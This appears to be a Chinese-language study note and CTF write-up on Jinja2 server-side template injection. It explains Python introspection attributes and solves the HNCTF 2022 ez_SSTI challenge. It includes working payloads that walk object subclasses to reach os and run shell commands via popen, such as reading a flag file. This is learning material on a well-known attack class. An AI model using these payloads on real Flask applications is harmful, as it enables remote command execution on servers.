前面学习了SSTI中的smarty类型,今天学习了Jinja2,两种类型都是flask框架的,但是在注入的语法上还是有不同
附上一张经典判断SSTI模板类型的图
Jinja2的语法
{% ... %} //声明变量,当然也可以用于循环语句和条件语句。
{{ ... }} //用于将表达式打印到模板输出
{{...}}={%print(...)%}
基础知识
1.__class__
用于返回对象所属的类
>>> ''.__class__
<type 'str'>
>>> ().__class__
<type 'tuple'>
>>> [].__class__
<type 'list'>
>>> {}.__class__
<type 'dict'>
2.__bases__
用于查看类的父类,可以用数组进行索引
>>> ().__class__.__bases__
(<type 'object'>,)
>>> ''.__class__.__bases__
(<type 'basestring'>,)
>>> [].__class__.__bases__
(<type 'object'>,)
>>> {}.__class__.__bases__
(<type 'object'>,)
>>> [].__class__.__bases__[0]
<type 'object'>
3.__subclasses__
返回类的所有子类
4.__globals__和__init__
__init__:实例化类时自动调用,也可以直接调用来初始化
__globals__:返回一个字典,包含当前作用域的全局变量和对应的值
一般我们要用的类是os._wrap_close,在获取类之后,调用init来实例化,之后globals获取这个对象的全局变量和对相应的值(这里我理解的是类似于序列化的过程经过实例化的过程,然后才能调用输出,globals就相当于一个输出的作用)
(''.__class__.__base__.__subclasses__()[128].__init__.__globals__)
5.popen方法
字符串的形式输入命令(比如:ls,cat/flag等),它会创建一个子进程执行命令,从而逃逸jinja2的进程的沙箱限制(变量类型 →找到所属类型 →回溯基类 →寻找可利用子类 →最终payload),在用read来读取执行的结果
注入思路
[HNCTF 2022 WEEK2]ez_SSTI
打开环境,先进行判断(这里参数是看了wp才知道是name的),通过判断知道是属于Jinja2模板的
构建payload,返回出所有的子类,一般要用到的子类是os._wrap_close,在不同的情况下所处的位置不同
{{''.__class__.__bases__[0].__subclasses__()}}
寻找os._wrap_close类,定位在137,在该目录下寻找flag
{{config.__class__.__init__.__globals__['os'].popen('cat flag').read() }}